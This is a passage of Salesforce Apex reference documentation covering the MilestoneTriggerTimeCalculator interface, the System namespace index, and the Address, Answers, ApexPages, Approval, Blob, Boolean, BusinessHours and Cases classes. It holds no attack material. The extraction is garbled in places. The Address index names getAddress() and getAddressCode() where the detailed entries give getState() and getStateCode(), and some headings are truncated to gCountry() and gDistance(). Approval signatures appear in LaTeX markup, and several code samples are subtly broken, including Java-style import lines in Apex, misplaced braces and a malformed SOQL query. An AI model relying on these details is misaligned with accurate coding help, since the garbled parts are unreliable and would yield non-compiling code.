} else if(c.subject.contains('LX-1220')) {
  et = [SELECT id FROM EmailTemplate WHERE DeveloperName = 'LX1220_template'];
}

// Return the ID of the template selected
return et.id;

The following example tests the above code:

@isTest
private class MyCaseTemplateChooserTest {

  static testMethod void testChooseTemplate() {

    MyCaseTemplateChooser chooser = new MyCaseTemplateChooser();

    // Create a simulated case to test with
    Case c = new Case();
    c.Subject = 'I\'m having trouble with my LX-1150';
    Database.insert(c);

    // Make sure the proper template is chosen for this subject
    Id actualTemplateId = chooser.getDefaultEmailTemplateId(c.Id);
    EmailTemplate expectedTemplate =
      [SELECT id FROM EmailTemplate WHERE DeveloperName = 'LX1150_template'];
    Id expectedTemplateId = expectedTemplate.Id;
    System.assertEquals(actualTemplateId, expectedTemplateId);

    // Change the case properties to match a different template
    c.Subject = 'My LX1220 is overheating';
    Database.update(c);

    // Make sure the correct template is chosen in this case
    actualTemplateId = chooser.getDefaultEmailTemplateId(c.Id);
    expectedTemplate =
      [SELECT id FROM EmailTemplate WHERE DeveloperName = 'LX1220_template'];
    expectedTemplateId = expectedTemplate.Id;
    System.assertEquals(actualTemplateId, expectedTemplateId);

  }
}

MilestoneTriggerTimeCalculator Interface

The Support.MilestoneTriggerTimeCalculator interface calculates the time trigger for a milestone.
Namespace

Support

Implement the Support.MilestoneTriggerTimeCalculator interface to calculate a dynamic time trigger for a milestone based on the milestone type, the properties of the case, and case-related objects. To implement the Support.MilestoneTriggerTimeCalculator interface, you must first declare a class with the implements keyword as follows:

```java
global class Employee implements Support.MilestoneTriggerTimeCalculator {
}
```

Next, your class must provide an implementation for the following method:

```java
global Integer calculateMilestoneTriggerTime(String caseId, String milestoneTypeId)
```

The implemented method must be declared as global or public.

IN THIS SECTION:

- MilestoneTriggerTimeCalculator Methods
- MilestoneTriggerTimeCalculator Example Implementation

MilestoneTriggerTimeCalculator Methods

The following are instance methods for MilestoneTriggerTimeCalculator.

IN THIS SECTION:

- calculateMilestoneTriggerTime(caseId, milestoneTypeId)
  Calculates the milestone trigger time based on the specified case and milestone type and returns the time in minutes.

**calculateMilestoneTriggerTime**(caseId, milestoneTypeId)

Calculates the milestone trigger time based on the specified case and milestone type and returns the time in minutes.

**Syntax**

```java
public Integer calculateMilestoneTriggerTime(String caseId, String milestoneTypeId)
```

**Parameters**

- **caseId**
  Type: String
  ID of the case the milestone is applied to.

- **milestoneTypeId**
  Type: String
  ID of the milestone type.

**Return Value**

Type: Integer
The calculated trigger time in minutes.

**MilestoneTriggerTimeCalculator Example Implementation**

This sample class demonstrates the implementation of the `Support.MilestoneTriggerTimeCalculator` interface. In this sample, the case's priority and the milestone `m1` determine that the time trigger is 18 minutes.

```java
import Support.MilestoneTriggerTimeCalculator;

public class myMilestoneTimeCalculator implements Support.MilestoneTriggerTimeCalculator {
    public Integer calculateMilestoneTriggerTime(String caseId, String milestoneTypeId) {
        Case c = [SELECT Priority FROM Case WHERE Id=:caseId];
        MilestoneType mt = [SELECT Name FROM MilestoneType WHERE Id=:milestoneTypeId];
        if (c.Priority != null && c.Priority.equals('High')){
            if (mt.Name != null && mt.Name.equals('m1')) { return 7; }
            else { return 5; }
        } else {
            return 18;
        }
    }
}
```

This test class can be used to test the implementation of `Support.MilestoneTriggerTimeCalculator`.

```java
import Support.MilestoneTriggerTimeCalculator;

public class MilestoneTimeCalculatorTest {
    static testMethod void testMilestoneTimeCalculator() {
        // Select an existing milestone type to test with
        MilestoneType[] mtLst = [SELECT Id, Name FROM MilestoneType LIMIT 1];
        if(mtLst.size() == 0) { return; }
        MilestoneType mt = mtLst[0];

        // Create case data.
        // Typically, the milestone type is related to the case,
        // but for simplicity, the case is created separately for this test.
        Case c = new Case(priority = 'High');
        insert c;

        myMilestoneTimeCalculator calculator = new myMilestoneTimeCalculator();
        Integer actualTriggerTime = calculator.calculateMilestoneTriggerTime(c.Id, mt.Id);

        if(mt.name != null && mt.Name.equals('m1')) { System.assertEquals(actualTriggerTime, 7); }
        else { System.assertEquals(actualTriggerTime, 5); }

        c.priority = 'Low';
        update c;
        actualTriggerTime = calculator.calculateMilestoneTriggerTime(c.Id, mt.Id);
        System.assertEquals(actualTriggerTime, 18);
    }
}
```
System Namespace

The System namespace provides classes and methods for core Apex functionality.
The following are the classes in the System namespace.

IN THIS SECTION:

Address Class
Contains methods for accessing the component fields of address compound fields.

Answers Class
Represents zone answers.

ApexPages Class
Use ApexPages to add and check for messages associated with the current page, as well as to reference the current page.

Approval Class
Contains methods for processing approval requests and setting approval-process locks and unlocks on records.

Blob Class
Contains methods for the Blob primitive data type.

Boolean Class
Contains methods for the Boolean primitive data type.

BusinessHours Class
Use the BusinessHours methods to set the business hours at which your customer support team operates.

Cases Class
Use the Cases class to interact with case records.

Comparable Interface
Adds sorting support for Lists that contain non-primitive types, that is, Lists of user-defined types.

Continuation Class
Use the Continuation class to make callouts asynchronously to a SOAP or REST Web service.

Cookie Class
The Cookie class lets you access cookies for your Force.com site using Apex.

Crypto Class
Provides methods for creating digests, message authentication codes, and signatures, as well as encrypting and decrypting information.

Custom Settings Methods
Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create and associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application cache, which enables efficient access without the cost of repeated queries to the database. This data can then be used by formula fields, validation rules, flows, Apex, and the SOAP API.

Database Class
Contains methods for creating and manipulating data.
Date Class
Contains methods for the Date primitive data type.

Datetime Class
Contains methods for the Datetime primitive data type.

Decimal Class
Contains methods for the Decimal primitive data type.

Double Class
Contains methods for the Double primitive data type.

EncodingUtil Class
Use the methods in the EncodingUtil class to encode and decode URL strings, and convert strings to hexadecimal format.

Enum Methods
An enum is an abstract data type with values that each take on exactly one of a finite set of identifiers that you specify. Apex provides built-in enums, such as LoggingLevel, and you can define your own enum.

Exception Class and Built-In Exceptions
An exception denotes an error that disrupts the normal flow of code execution. You can use Apex built-in exceptions or create custom exceptions. All exceptions have common methods.

FlexQueue Class
Contains methods that reorder batch jobs in the Apex flex queue.

Http Class
Use the Http class to initiate an HTTP request and response.

HttpCalloutMock Interface
Enables sending fake responses when testing HTTP callouts.

HttpRequest Class
Use the HttpRequest class to programmatically create HTTP requests like GET, POST, PUT, and DELETE.

HttpResponse Class
Use the HttpResponse class to handle the HTTP response returned by the Http class.

Id Class
Contains methods for the ID primitive data type.

Ideas Class
Represents zone ideas.

InstallHandler Interface
Enables custom code to run after a managed package installation or upgrade.

Integer Class
Contains methods for the Integer primitive data type.

JSON Class
Contains methods for serializing Apex objects into JSON format and deserializing JSON content that was serialized using the serialize method in this class.

JSONObject Class
Contains methods used to serialize objects into JSON content using the standard JSON encoding.

JSONParser Class
Represents a parser for JSON-encoded content.
JSONToken Enum
Contains all token values used for parsing JSON content.

Limits Class
Contains methods that return limit information for specific resources.

List Class
Contains methods for the List collection type.

Location Class
Contains methods for accessing the component fields of geolocation compound fields.

Long Class
Contains methods for the Long primitive data type.

Map Class
Contains methods for the Map collection type.

Matcher Class
Matchers use Patterns to perform match operations on a character string.

Math Class
Contains methods for mathematical operations.

Messaging Class
Contains messaging methods used when sending a single or mass email.

MultiStaticResourceCalloutMock Class
Utility class used to specify a fake response using multiple resources for testing HTTP callouts.

Network Class
Represents a community.

PageReference Class
A PageReference is a reference to an instantiation of a page. Among other attributes, PageReferences consist of a URL and a set of query parameter names and values.

Pattern Class
Represents a compiled representation of a regular expression.

Queueable Interface
Enables the asynchronous execution of Apex jobs that can be monitored.

QueueableContext Interface
Represents the parameter type of the execute() method in a class that implements the Queueable interface and contains the job ID. This interface is implemented internally by Apex.

QuickAction Class
Use Apex to request and process actions on objects that allow custom fields, on objects that appear in a Chatter feed, or on objects that are available globally.

RemoteObjectController
Use RemoteObjectController to access the standard Visualforce Remote Objects operations in your Remote Objects override methods.

ResetPasswordResult Class
Represents the result of a password reset.
RestContext Class
Contains the RestRequest and RestResponse objects.

RestRequest Class
Represents an object used to pass data from an HTTP request to an Apex RESTful Web service method.

RestResponse Class
Represents an object used to pass data from an Apex RESTful Web service method to an HTTP response.

Scheduled Interface
The class that implements this interface can be scheduled to run at different intervals.

ScheduledContext Interface
Represents the parameter type of a method in a class that implements the Scheduled interface and contains the scheduled job ID. This interface is implemented internally by Apex.

Schema Class
Contains methods for obtaining schema describe information.

Search Class
Use the methods of the Search class to perform dynamic SOSL queries.

SelectOption Class
A SelectOption object specifies one of the possible values for a Visualforce selectCheckboxes, selectList, or selectRadio component.

Set Class
Represents a collection of unique elements with no duplicate values.

Site Class
Use the Site Class to manage your Force.com sites.

sObject Class
Contains methods for the sObject data type.

StaticResourceCalloutMock Class
Utility class used to specify a fake response for testing HTTP callouts.

String Class
Contains methods for the String primitive data type.

System Class
Contains methods for system operations, such as writing debug messages and scheduling jobs.

Test Class
Contains methods related to Visualforce tests.

Time Class
Contains methods for the Time primitive data type.

TimeZone Class
Represents a time zone. Contains methods for creating a new time zone and obtaining time zone properties, such as the time zone ID, offset, and display name.

Trigger Class
Use the Trigger class to access run-time context information in a trigger, such as the type of trigger or the list of sObject records that the trigger operates on.
Address Class
Contains methods for accessing the component fields of address compound fields.

Namespace
System

Usage
Each of these methods is also equivalent to a read-only property. For each getter method, you can access the property using dot notation. For example, myAddress.getCity() is equivalent to myAddress.city.

You can’t use dot notation to access compound fields’ subfields directly on the parent field. Instead, assign the parent field to a variable of type Address, and then access its components. For example, to access the City field in myAccount.BillingAddress, do the following:

```
Address addr = myAccount.BillingAddress;
String acctCity = addr.City;
```
Example

// Select and access Address fields.
// Call the getDistance() method in different ways.
Account[] records = [SELECT id, BillingAddress FROM Account LIMIT 10];
for(Account acct : records) {
    Address addr = acct.BillingAddress;
    Double lat = addr.latitude;
    Double lon = addr.longitude;
    Location loc1 = Location.newInstance(30.1944,-97.6682);
    Double apexDist1 = addr.getDistance(loc1, 'mi');
    Double apexDist2 = loc1.getDistance(addr, 'mi');
    System.assertEquals(apexDist1, apexDist2);
    Double apexDist3 = Location.getDistance(addr, loc1, 'mi');
    System.assertEquals(apexDist2, apexDist3);
}

IN THIS SECTION:
Address Methods

Address Methods

The following are methods for Address.

IN THIS SECTION:
getCity()
Returns the city field of this address.

getcountry()
Returns the text-only country name component of this address.

getCountryCode()
Returns the country code of this address if state and country picklists are enabled in your organization. Otherwise, returns null.

getDistance(toLocation, unit)
Returns the distance from this location to the specified location using the specified unit.

getLatitude()
Returns the latitude field of this address.

getLongitude()
Returns the longitude field of this address.

getPostalCode()
Returns the postal code of this address.

getAddress()
Returns the text-only state name component of this address.

getAddressCode()
Returns the state code of this address if state and country picklists are enabled in your organization. Otherwise, returns null.

getStreet()
Returns the street field of this address.
getCity()  
Returns the city field of this address.

Signature
public String getCity()

Return Value
Type: String

gCountry()  
Returns the text-only country name component of this address.

Signature
public String getCountry()

Return Value
Type: String

gCountryCode()  
Returns the country code of this address if state and country picklists are enabled in your organization. Otherwise, returns null.

Signature
public String getCountryCode()

Return Value
Type: String

gDistance(toLocation, unit)  
Returns the distance from this location to the specified location using the specified unit.

Signature
public Double getDistance(Location toLocation, String unit)

Parameters

- toLocation
  Type: Location
  The Location to which you want to calculate the distance from the current Location.

- unit
  Type: String
The distance unit you want to use: mi or km.

Return Value
Type: Double

getLatitude()
Returns the latitude field of this address.

Signature
public Double getLatitude()

Return Value
Type: Double

getLongitude()
Returns the longitude field of this address.

Signature
public Double getLongitude()

Return Value
Type: Double

getPostalCode()
Returns the postal code of this address.

Signature
public String getPostalCode()

Return Value
Type: String

getState()
Returns the text-only state name component of this address.

Signature
public String getState()
Return Value
Type: String

`getStateCode()`
Returns the state code of this address if state and country picklists are enabled in your organization. Otherwise, returns `null`.

Signature
`public String getStateCode()`

Return Value
Type: String

`getStreet()`
Returns the street field of this address.

Signature
`public String getStreet()`

Return Value
Type: String

**Answers Class**
Represents zone answers.

**Namespace**
`System`

**Usage**
Answers is a feature of the Community application that enables users to ask questions and have community members post replies. Community members can then vote on the helpfulness of each reply, and the person who asked the question can mark one reply as the best answer.
For more information on answers, see “Answers Overview” in the Salesforce online help.

**Example**
The following example finds questions in an internal zone that have similar titles as a new question:

```java
public class FindSimilarQuestionController {
    public static void test() {
    }
```
// Instantiate a new question
Question question = new Question();

// Specify a title for the new question
question.title = 'How much vacation time do full-time employees get?';

// Specify the communityID (INTERNAL_COMMUNITY) in which to find similar questions.
Community community = [ SELECT Id FROM Community WHERE Name = 'INTERNAL_COMMUNITY' ];
question.communityId = community.id;

ID[] results = Answers.findSimilar(question);
}

The following example marks a reply as the best reply:

ID questionId = [SELECT Id FROM Question WHERE Title = 'Testing setBestReplyId' LIMIT 1].Id;
ID replyId = [SELECT Id FROM Reply WHERE QuestionId = :questionId LIMIT 1].Id;
Answers.setBestReply(questionId, replyId);

**Answers Methods**

The following are methods for Answers. All methods are static.

IN THIS SECTION:

- **findSimilar(yourQuestion)**
  Returns a list of similar questions based on the title of the specified question.
- **setBestReply(questionId, replyId)**
  Sets the specified reply for the specified question as the best reply. Because a question can have multiple replies, setting the best reply helps users quickly identify the reply that contains the most helpful information.

**findSimilar(yourQuestion)**

Returns a list of similar questions based on the title of the specified question.

**Signature**

```java
public static ID[] findSimilar(Question yourQuestion)
```

**Parameters**

- **yourQuestion**
  Type: Question

**Return Value**

- **Type: ID[]**
Usage
Each `findSimilar` call counts against the SOSL statements governor limit allowed for the process.

**setBestReply(questionId, replyId)**
Sets the specified reply for the specified question as the best reply. Because a question can have multiple replies, setting the best reply helps users quickly identify the reply that contains the most helpful information.

**Signature**

```java
public static Void setBestReply(String questionId, String replyId)
```

**Parameters**
- `questionId`
  - Type: String
- `replyId`
  - Type: String

**Return Value**
- Type: Void

**ApexPages Class**
Use `ApexPages` to add and check for messages associated with the current page, as well as to reference the current page.

**Namespace**
- `System`

**Usage**
In addition, `ApexPages` is used as a namespace for the `PageReference Class` and the `Message Class`.

**ApexPages Methods**
The following are methods for `ApexPages`. All are instance methods.

**IN THIS SECTION:**
- `addMessage(message)`
  - Add a message to the current page context.
- `addMessages(exceptionThrown)`
  - Adds a list of messages to the current page context based on a thrown exception.
- `currentPage()`
  - Returns the current page’s PageReference.
getMessages()
Returns a list of the messages associated with the current context.

hasMessages()
Returns true if there are messages associated with the current context, false otherwise.

hasMessages(severity)
Returns true if messages of the specified severity exist, false otherwise.

addMessage (message)
Add a message to the current page context.

Signature
public Void addMessage(ApexPages.Message message)

Parameters
message
Type: ApexPages.Message

Return Value
Type: Void

addMessages (exceptionThrown)
Adds a list of messages to the current page context based on a thrown exception.

Signature
public Void addMessages(Exception exceptionThrown)

Parameters
exceptionThrown
Type: Exception

Return Value
Type: Void

currentPage()
Returns the current page's PageReference.

Signature
public System.PageReference currentPage()
Return Value
Type: System.PageReference

Example
This code segment returns the id parameter of the current page.

```java
public MyController() {
    account = [
        SELECT Id, Name, Site
        FROM Account
        WHERE Id =
            :ApexPages.currentPage().
            getParameters().
            get('id')
    ];
}
```

getMessages()
Returns a list of the messages associated with the current context.

Signature
```java
public ApexPages.Message[] getMessages()
```

Return Value
Type: ApexPages.Message[]

hasMessages()
Returns true if there are messages associated with the current context, false otherwise.

Signature
```java
public Boolean hasMessages()
```

Return Value
Type: Boolean

hasMessages(severity)
Returns true if messages of the specified severity exist, false otherwise.

Signature
```java
public Boolean hasMessages(ApexPages.Severity severity)
```
Parameters

sev
Type: ApexPages.Severity

Return Value
Type: Boolean

Approval Class
Contains methods for processing approval requests and setting approval-process locks and unlocks on records.

Namespace
System

Usage
Salesforce admins can edit locked records. Depending on your approval process configuration settings, an assigned approver can also edit locked records. Locks and unlocks that are set programmatically use the same record editability settings as other approval-process locks and unlocks.

Record locks and unlocks are treated as DML. They’re blocked before a callout, they count toward your DML limits, and if a failure occurs, they’re rolled back along with the rest of your transaction. To change this rollback behavior, use an allOrNone parameter.

Approval is also used as a namespace for the ProcessRequest and ProcessResult classes.

SEE ALSO:
Approval Process Considerations

Approval Methods
The following are methods for Approval. All methods are static.

lock(recordId)
Locks an object, and returns the lock results.

Signature
public static Approval.LockResult lock(Id recordId)

Parameters

recordId
Type: Id
ID of the object to lock.
Return Value
Type: Approval.LockResult

lock(recordIds)
Locks a set of objects, and returns the lock results, including failures.

Signature
public static List<Approval.LockResult> lock(List<Id> ids)

Parameters
ids
Type: List<Id>
IDs of the objects to lock.

Return Value
Type: List<Approval.LockResult>

lock(recordToLock)
Locks an object, and returns the lock results.

Signature
public static Approval.LockResult lock(SObject recordToLock)

Parameters
recordToLock
Type: SObject

Return Value
Type: Approval.LockResult

lock(recordsToLock)
Locks a set of objects, and returns the lock results, including failures.

Signature
public static List<Approval.LockResult> lock(List<SObject> recordsToLock)

Parameters
recordsToLock
Type: List<SObject>
Return Value
Type: List<Approval.LockResult>

lock(recordId, allOrNothing)
Locks an object, with the option for partial success, and returns the lock result.

Signature
public static Approval.LockResult lock(Id recordId, Boolean allOrNothing)

Parameters
recordId
Type: Id
ID of the object to lock.

allOrNothing
Type: Boolean
Specifies whether this operation allows partial success. If you specify false and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that you can use to verify which records succeeded, which failed, and why.

Return Value
Type: Approval.LockResult

lock(recordIds, allOrNothing)
Locks a set of objects, with the option for partial success. It returns the lock results, including failures.

Signature
public static List<Approval.LockResult> lock(List<Id> recordIds, Boolean allOrNothing)

Parameters
recordIds
Type: List<Id>
IDs of the objects to lock.

allOrNothing
Type: Boolean
Specifies whether this operation allows partial success. If you specify false and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that you can use to verify which records succeeded, which failed, and why.

Return Value
Type: List<Approval.LockResult>
lock\(\text{recordToLock}, \text{allOrNothing}\)

Locks an object, with the option for partial success, and returns the lock result.

**Signature**

\[
\text{public static} \text{ Approval.LockResult lock(SObject recordToLock, Boolean allOrNothing)}
\]

**Parameters**

- \(\text{recordToLock}\)
  - Type: SObject
- \(\text{allOrNothing}\)
  - Type: Boolean
  
  Specifies whether this operation allows partial success. If you specify \text{false} and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that you can use to verify which records succeeded, which failed, and why.

**Return Value**

Type: Approval.LockResult

lock\(\text{recordsToLock}, \text{allOrNothing}\)

Locks a set of objects, with the option for partial success. It returns the lock results, including failures.

**Signature**

\[
\text{public static List<Approval.LockResult> lock(List<SObject> recordsToLock, Boolean allOrNothing)}
\]

**Parameters**

- \(\text{recordsToLock}\)
  - Type: List<SObject>
- \(\text{allOrNothing}\)
  - Type: Boolean
  
  Specifies whether this operation allows partial success. If you specify \text{false} and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that you can use to verify which records succeeded, which failed, and why.

**Return Value**

Type: List<Approval.LockResult>

process\(\text{approvalRequest}\)

Submits a new approval request and approves or rejects existing approval requests.

**Signature**

\[
\text{public static Approval.ProcessResult process(Approval.ProcessRequest approvalRequest)}
\]
Parameters

approvalRequest
Type: Approval.ProcessRequest

Return Value

Type: Approval.ProcessResult

Example

```java
// Insert an account
Account a = new Account(Name='Test',
                        annualRevenue=100.0);

insert a;

// Create an approval request for the account
Approval.ProcessSubmitRequest req1 =
    new Approval.ProcessSubmitRequest();
req1.setObjectId(a.id);

// Submit the approval request for the account
Approval.ProcessResult result =
    Approval.process(req1);
```

**process(approvalRequests, allOrNone)**

Submits a new approval request and approves or rejects existing approval requests.

**Signature**

```java
public static Approval.ProcessResult process(Approval.ProcessRequest approvalRequests,
                                            Boolean allOrNone)
```

**Parameters**

approvalRequests
Type: Approval.ProcessRequest

allOrNone
Type: Boolean

The optional allOrNone parameter specifies whether the operation allows for partial success. If you specify false for this parameter and an approval fails, the remainder of the approval processes can still succeed.

**Return Value**

Approval.ProcessResult
process (approvalRequests)
Submits a list of new approval requests, and approves or rejects existing approval requests.

Signature
public static Approval.ProcessResult [] process (Approval.ProcessRequest[] approvalRequests)

Parameters
approvalRequests
   Approval.ProcessRequest []

Return Value
Approval.ProcessResult []

process (approvalRequests, allOrNone)
Submits a list of new approval requests, and approves or rejects existing approval requests.

Signature
public static Approval.ProcessResult [] process (Approval.ProcessRequest[] approvalRequests, Boolean allOrNone)

Parameters
approvalRequests
   Approval.ProcessRequest []
allOrNone
   Type: Boolean
   The optional allOrNone parameter specifies whether the operation allows for partial success. If you specify false for this parameter and an approval fails, the remainder of the approval processes can still succeed.

Return Value
Approval.ProcessResult []

unlock (recordId)
Unlocks an object, and returns the unlock results.

Signature
public static Approval.UnlockResult unlock (Id recordId)
Parameters

recordId
Type: Id
ID of the object to unlock.

Return Value
Type: Approval.UnlockResult

unlock(recordIds)
Unlocks a set of objects, and returns the unlock results, including failures.

Signature
public static List<Approval.UnlockResult> unlock(List<Id> recordIds)

Parameters

recordIds
Type: List<Id>
IDs of the objects to unlock.

Return Value
Type: List<Approval.UnlockResult>

unlock(recordToUnlock)
Unlocks an object, and returns the unlock results.

Signature
public static Approval.UnlockResult unlock(SObject recordToUnlock)

Parameters

recordToUnlock
Type: SObject

Return Value
Type: Approval.UnlockResult

unlock(recordsToUnlock)
Unlocks a set of objects, and returns the unlock results, including failures.
Signature

public static List<Approval.UnlockResult> unlock(List<SObject> recordsToUnlock)

Parameters

recordsToUnlock
Type: List<SObject>

Return Value
Type: List<Approval.UnlockResult>

unlock(recordId, allOrNothing)
Unlocks an object, with the option for partial success, and returns the unlock result.

Signature

public static Approval.UnlockResult unlock(Id recordId, Boolean allOrNothing)

Parameters

recordId
Type: Id
ID of the object to lock.

allOrNothing
Type: Boolean
Specifies whether this operation allows partial success. If you specify false and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that you can use to verify which records succeeded, which failed, and why.

Return Value
Type: Approval.UnlockResult

unlock(recordIds, allOrNothing)
Unlocks a set of objects, with the option for partial success. It returns the unlock results, including failures.

Signature

public static List<Approval.UnlockResult> unlock(List<Id> recordIds, Boolean allOrNothing)

Parameters

recordIds
Type: List<Id>
IDs of the objects to unlock.
allOrNothing
    Type: Boolean
    Specifies whether this operation allows partial success. If you specify false and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that you can use to verify which records succeeded, which failed, and why.

Return Value
Type: List<Approval.UnlockResult>

unlock(recordToUnlock, allOrNothing)
Unlocks an object, with the option for partial success, and returns the unlock result.

Signature
public static Approval.UnlockResult unlock(SObject recordToUnlock, Boolean allOrNothing)

Parameters
recordToUnlock
    Type: SObject
allOrNothing
    Type: Boolean
    Specifies whether this operation allows partial success. If you specify false and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that you can use to verify which records succeeded, which failed, and why.

Return Value
Type: Approval.UnlockResult

unlock(recordsToUnlock, allOrNothing)
Unlocks a set of objects, with the option for partial success. It returns the unlock results, including failures.

Signature
public static List<Approval.UnlockResult> unlock(List<SObject> recordsToUnlock, Boolean allOrNothing)

Parameters
recordsToUnlock
    Type: List<SObject>
allOrNothing
    Type: Boolean
    Specifies whether this operation allows partial success. If you specify false and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that you can use to verify which records succeeded, which failed, and why.
Return Value
Type: List<Approval.UnlockResult>

Blob Class
Contains methods for the Blob primitive data type.

Namespace
System

Usage
For more information on Blobs, see Primitive Data Types on page 27.

Blob Methods
The following are methods for Blob.

**IN THIS SECTION:**
- size()
  Returns the number of characters in the Blob.
- toPdf(stringToConvert)
  Creates a binary object out of the given string, encoding it as a PDF file.
- toString()
  Casts the Blob into a String.
- valueOf(stringToBlob)
  Casts the specified String to a Blob.

**size()**
Returns the number of characters in the Blob.

**Signature**
```
public Integer size()
```

**Return Value**
Type: Integer

**Example**
```
String myString = 'StringToBlob';
Blob myBlob = Blob.valueOf(myString);
Integer size = myBlob.size();
```
toPdf (stringToConvert)
Creates a binary object out of the given string, encoding it as a PDF file.

Signature
public static Blob toPdf(String stringToConvert)

Parameters
stringToConvert
Type: String

Return Value
Type: Blob

Example
String pdfContent = 'This is a test string';
Account a = new account(name = 'test');
insert a;
Attachment attachmentPDF = new Attachment();
attachmentPdf.parentId = a.id;
attachmentPdf.name = account.name + '.pdf';
attachmentPdf.body = blob.toPDF(pdfContent);
insert attachmentPDF;

toString()
Casts the Blob into a String.

Signature
public String toString()

Return Value
Type: String

Example
String myString = 'StringToBlob';
Blob myBlob = Blob.valueof(myString);
System.assertEquals('StringToBlob', myBlob.toString());

valueOf (stringToBlob)
Casts the specified String to a Blob.
Signature

```java
public static Blob valueOf(String stringToBlob)
```

Parameters

stringToBlob
Type: String

Return Value

Type: Blob

Example

```java
String myString = 'StringToBlob';
Blob myBlob = Blob.valueOf(myString);
```

Boolean Class

Contains methods for the Boolean primitive data type.

Namespace

System

Boolean Methods

The following are methods for Boolean. All methods are static.

IN THIS SECTION:

valueOf(stringToBoolean)
Converts the specified string to a Boolean value and returns true if the specified string value is true. Otherwise, returns false.

valueOf(fieldValue)
Converts the specified object to a Boolean value. Use this method to convert a history tracking field value or an object that represents a Boolean value.

valueOf(stringToBoolean)
Converts the specified string to a Boolean value and returns true if the specified string value is true. Otherwise, returns false.

Signature

```java
public static Boolean valueOf(String stringToBoolean)
```
Parameters

stringToBoolean
Type: String

Return Value

Type: Boolean

Usage

If the specified argument is null, this method throws an exception.

Example

```java
Boolean b = Boolean.valueOf('true');
System.assertEquals(true, b);
```

valueOf(fieldValue)

Converts the specified object to a Boolean value. Use this method to convert a history tracking field value or an object that represents a Boolean value.

Signature

```java
public static Boolean valueOf(Object fieldValue)
```

Parameters

fieldValue
Type: Object

Return Value

Type: Boolean

Usage

Use this method with the OldValue or NewValue fields of history sObjects, such as AccountHistory, when the field type corresponds to a Boolean type, like a checkbox field.

Example

```java
List<AccountHistory> ahlist =
(SELECT Field,OldValue,NewValue
FROM AccountHistory);
for(AccountHistory ah : ahlist) {
    System.debug('Field: ' + ah.Field);
    if (ah.field == 'IsPlatinum__c') {
        Boolean oldValue =
            Boolean.valueOf(ah.OldValue);
    }
```
Boolean newValue =
    Boolean.valueOf(ah.NewValue);  
}

BusinessHours Class

Use the BusinessHours methods to set the business hours at which your customer support team operates.

Namespace

System

BusinessHours Methods

The following are methods for BusinessHours. All methods are static.

IN THIS SECTION:

  add(businessHoursId, startDate, intervalMilliseconds)
  Adds an interval of time from a start Datetime traversing business hours only. Returns the result Datetime in the local time zone.

  addGmt(businessHoursId, startDate, intervalMilliseconds)
  Adds an interval of milliseconds from a start Datetime traversing business hours only. Returns the result Datetime in GMT.

  diff(businessHoursId, startDate, endDate)
  Returns the difference between a start and end Datetime based on a specific set of business hours.

  isWithin(businessHoursId, targetDate)
  Returns true if the specified target date occurs within business hours. Holidays are included in the calculation.

  nextStartDate(businessHoursId, targetDate)
  Starting from the specified target date, returns the next date when business hours are open. If the specified target date falls within business hours, this target date is returned.

add(businessHoursId, startDate, intervalMilliseconds)

Adds an interval of time from a start Datetime traversing business hours only. Returns the result Datetime in the local time zone.

Signature

public static Datetime add(String businessHoursId, Datetime startDate, Long intervalMilliseconds)

Parameters

businessHoursId
  Type: String

startDate
  Type: Datetime
intervalMilliseconds
Type: Long

Interval value should be provided in milliseconds, however time precision smaller than one minute is ignored.

Return Value
Type: Datetime

addGmt(businessHoursId, startDate, intervalMilliseconds)

Adds an interval of milliseconds from a start Datetime traversing business hours only. Returns the result Datetime in GMT.

Signature
public static Datetime addGmt(String businessHoursId, Datetime startDate, Long intervalMilliseconds)

Parameters
businessHoursId
Type: String

startDate
Type: Datetime

intervalMilliseconds
Type: Long

Return Value
Type: Datetime

diff(businessHoursId, startDate, endDate)

Returns the difference between a start and end Datetime based on a specific set of business hours.

Signature
public static Long diff(String businessHoursId, Datetime startDate, Datetime endDate)

Parameters
businessHoursId
Type: String

startDate
Type: Datetime

endDate
Type: Datetime
**Return Value**

Type: Long

**isWithin(businessHoursId, targetDate)**

Returns true if the specified target date occurs within business hours. Holidays are included in the calculation.

**Signature**

```java
public static Boolean isWithin(String businessHoursId, Datetime targetDate)
```

**Parameters**

- **businessHoursId**
  - Type: String
  - The business hours ID.

- **targetDate**
  - Type: Datetime
  - The date to verify.

**Return Value**

Type: Boolean

**Example**

The following example finds whether a given time is within the default business hours.

```java
// Get the default business hours
BusinessHours bh = [SELECT Id FROM BusinessHours WHERE IsDefault=true];

// Create Datetime on May 28, 2013 at 1:06:08 AM in the local timezone.
Datetime targetTime = Datetime.newInstance(2013, 5, 28, 1, 6, 8);

// Find whether the time is within the default business hours
Boolean isWithin= BusinessHours.isWithin(bh.id, targetTime);
```

**nextStartDate(businessHoursId, targetDate)**

Starting from the specified target date, returns the next date when business hours are open. If the specified target date falls within business hours, this target date is returned.

**Signature**

```java
public static Datetime nextStartDate(String businessHoursId, Datetime targetDate)
```

**Parameters**

- **businessHoursId**
  - Type: String
The business hours ID.

targetDate
Type: Datetime
The date used as a start date to obtain the next date.

Return Value
Type: Datetime

Example
The following example finds the next date starting from the target date when business hours reopens. If the target date is within the given business hours, the target date is returned. The returned time is in the local time zone.

```java
// Get the default business hours
BusinessHours bh = [SELECT Id FROM BusinessHours WHERE IsDefault=true];

// Create Datetime on May 28, 2013 at 1:06:08 AM in the local timezone.
DateTime targetTime = DateTime.newInstance(2013, 5, 28, 1, 6, 8);

// Starting from the targetTime, find the next date when business hours reopens. Return the target time.

// if it is within the business hours. The returned time will be in the local time zone
DateTime nextStart = BusinessHours.nextStartDate(bh.id, targetTime);
```

Cases Class
Use the Cases class to interact with case records.

Namespace
System

Cases Methods
The following are static methods for Cases.

IN THIS SECTION:

getCaseIdFromEmailThreadId(emailThreadId)
Returns the case ID corresponding to the specified email thread ID.

**getCaseIdFromEmailThreadId(emailThreadId)**

Returns the case ID corresponding to the specified email thread ID.

Signature

```java
public static ID getCaseIdFromEmailThreadId(String emailThreadId)
```
**Parameters**

`emailThreadId`  
Type: String

**Return Value**  
Type: ID

**Usage**

